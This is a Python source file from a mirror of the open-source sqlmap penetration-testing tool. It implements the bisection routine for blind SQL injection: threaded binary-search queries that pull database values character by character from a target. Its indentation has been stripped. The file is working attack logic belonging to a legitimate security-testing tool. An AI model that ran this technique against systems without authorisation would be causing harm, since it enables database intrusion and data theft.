mirror of
https://github.com/sqlmapproject/sqlmap.git
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363 lines
12 KiB
Python
363 lines
12 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import threading
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import time
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import traceback
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from lib.core.agent import agent
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from lib.core.common import dataToSessionFile
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from lib.core.common import dataToStdout
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from lib.core.common import getCharset
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from lib.core.common import replaceNewlineTabs
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from lib.core.common import safeStringFormat
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from lib.core.convert import urlencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapConnectionException
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from lib.core.exception import sqlmapValueException
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from lib.core.exception import sqlmapThreadException
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from lib.core.exception import unhandledException
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from lib.core.progress import ProgressBar
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
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"""
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Bisection algorithm that can be used to perform blind SQL injection
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on an affected host
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"""
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partialValue = ""
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finalValue = ""
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asciiTbl = getCharset(charsetType)
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if "LENGTH(" in expression or "LEN(" in expression:
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firstChar = 0
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elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
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firstChar = int(conf.firstChar) - 1
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elif firstChar is None:
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firstChar = 0
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elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
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firstChar = int(firstChar) - 1
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if "LENGTH(" in expression or "LEN(" in expression:
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lastChar = 0
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elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
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lastChar = int(conf.lastChar)
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elif lastChar in ( None, "0" ):
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lastChar = 0
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elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
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lastChar = int(lastChar)
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if kb.dbmsDetected:
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_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
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nulledCastedField = agent.nullAndCastField(fieldToCastStr)
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expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
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expressionUnescaped = unescaper.unescape(expressionReplaced)
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else:
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expressionUnescaped = unescaper.unescape(expression)
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debugMsg = "query: %s" % expressionUnescaped
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logger.debug(debugMsg)
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if length and not isinstance(length, int) and length.isdigit():
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length = int(length)
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if length == 0:
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return 0, ""
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if lastChar > 0 and length > ( lastChar - firstChar ):
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length = ( lastChar - firstChar )
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showEta = conf.eta and isinstance(length, int)
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numThreads = min(conf.threads, length)
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threads = []
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if showEta:
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progress = ProgressBar(maxValue=length)
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progressTime = []
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if numThreads is not None:
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debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
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logger.debug(debugMsg)
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if conf.verbose >= 1 and not showEta:
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if isinstance(length, int) and conf.threads > 1:
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dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
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dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
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else:
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dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
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queriesCount = [0] # As list to deal with nested scoping rules
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hintlock = threading.Lock()
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def tryHint(idx):
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hintlock.acquire()
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hintValue = kb.hintValue
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hintlock.release()
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if hintValue is not None and len(hintValue) >= idx:
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if kb.dbms == "SQLite":
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posValue = hintValue[idx-1]
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else:
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posValue = ord(hintValue[idx-1])
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queriesCount[0] += 1
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forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, posValue))
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result = Request.queryPage(urlencode(forgedPayload))
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if result:
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return hintValue[idx-1]
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hintlock.acquire()
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kb.hintValue = None
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hintlock.release()
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return None
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def getChar(idx, asciiTbl=asciiTbl):
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result = tryHint(idx)
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if result:
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return result
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maxValue = asciiTbl[len(asciiTbl)-1]
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minValue = 0
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while len(asciiTbl) != 1:
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queriesCount[0] += 1
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position = (len(asciiTbl) / 2)
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posValue = asciiTbl[position]
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if kb.dbms == "SQLite":
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posValueOld = posValue
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posValue = chr(posValue)
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
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result = Request.queryPage(urlencode(forgedPayload))
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if kb.dbms == "SQLite":
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posValue = posValueOld
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if result:
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minValue = posValue
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asciiTbl = asciiTbl[position:]
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else:
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maxValue = posValue
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asciiTbl = asciiTbl[:position]
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if len(asciiTbl) == 1:
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if maxValue == 1:
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return None
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else:
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return chr(minValue + 1)
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def etaProgressUpdate(charTime, index):
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if len(progressTime) <= ( (length * 3) / 100 ):
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eta = 0
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else:
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midTime = sum(progressTime) / len(progressTime)
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midTimeWithLatest = (midTime + charTime) / 2
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eta = midTimeWithLatest * (length - index) / conf.threads
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progressTime.append(charTime)
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progress.update(index)
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progress.draw(eta)
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if conf.threads > 1 and isinstance(length, int) and length > 1:
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value = [ None ] * length
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index = [ firstChar ] # As list for python nested function scoping
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idxlock = threading.Lock()
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iolock = threading.Lock()
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conf.seqLock = threading.Lock()
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conf.threadContinue = True
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def downloadThread():
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try:
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while conf.threadContinue:
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idxlock.acquire()
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if index[0] >= length:
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idxlock.release()
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return
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index[0] += 1
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curidx = index[0]
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idxlock.release()
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if conf.threadContinue:
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charStart = time.time()
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val = getChar(curidx)
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if val is None:
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raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
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else:
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break
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value[curidx-1] = val
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if conf.threadContinue:
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if showEta:
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etaProgressUpdate(time.time() - charStart, index[0])
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elif conf.verbose >= 1:
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startCharIndex = 0
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endCharIndex = 0
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for i in xrange(length):
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if value[i] is not None:
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endCharIndex = max(endCharIndex, i)
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output = ''
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if endCharIndex > conf.progressWidth:
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startCharIndex = endCharIndex - conf.progressWidth
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count = 0
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for i in xrange(startCharIndex, endCharIndex):
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output += '_' if value[i] is None else value[i]
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for i in xrange(length):
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count += 1 if value[i] is not None else 0
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if startCharIndex > 0:
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output = '..' + output[2:]
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if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
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output = output[:-2] + '..'
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output += '_' * (min(length, conf.progressWidth) - len(output))
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status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
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output += status if count != length else " "*len(status)
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iolock.acquire()
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))
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iolock.release()
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except (sqlmapConnectionException, sqlmapValueException), errMsg:
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print
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conf.threadException = True
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logger.error("thread %d: %s" % (numThread + 1, errMsg))
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except KeyboardInterrupt:
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conf.threadException = True
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print
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logger.debug("waiting for threads to finish")
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try:
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while (threading.activeCount() > 1):
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pass
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except KeyboardInterrupt:
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raise sqlmapThreadException, "user aborted"
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except:
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print
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conf.threadException = True
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errMsg = unhandledException()
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logger.error("thread %d: %s" % (numThread + 1, errMsg))
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traceback.print_exc()
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# Start the threads
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for numThread in range(numThreads):
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thread = threading.Thread(target=downloadThread)
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thread.start()
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threads.append(thread)
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# And wait for them to all finish
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try:
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alive = True
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while alive:
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alive = False
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for thread in threads:
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if thread.isAlive():
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alive = True
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thread.join(5)
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except KeyboardInterrupt:
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conf.threadContinue = False
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raise
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infoMsg = None
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# If we have got one single character not correctly fetched it
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# can mean that the connection to the target url was lost
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if None in value:
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for v in value:
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if isinstance(v, str) and v is not None:
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partialValue += v
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if partialValue:
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finalValue = partialValue
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infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
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else:
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finalValue = "".join(value)
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infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
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if isinstance(finalValue, str) and len(finalValue) > 0:
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dataToSessionFile(replaceNewlineTabs(finalValue))
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if conf.verbose >= 1 and not showEta and infoMsg:
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dataToStdout(infoMsg)
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conf.seqLock = None
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else:
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index = firstChar
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while True:
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index += 1
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charStart = time.time()
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val = getChar(index, asciiTbl)
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if val is None or ( lastChar > 0 and index > lastChar ):
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break
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finalValue += val
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dataToSessionFile(replaceNewlineTabs(val))
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if showEta:
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etaProgressUpdate(time.time() - charStart, index)
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elif conf.verbose >= 1:
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dataToStdout(val)
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if conf.verbose >= 1 or showEta:
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dataToStdout("\n")
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if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
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infoMsg = "retrieved: %s" % finalValue
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logger.info(infoMsg)
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if not partialValue:
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dataToSessionFile("]\n")
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if conf.threadException:
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raise sqlmapThreadException, "something unexpected happen into the threads"
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return queriesCount[0], finalValue
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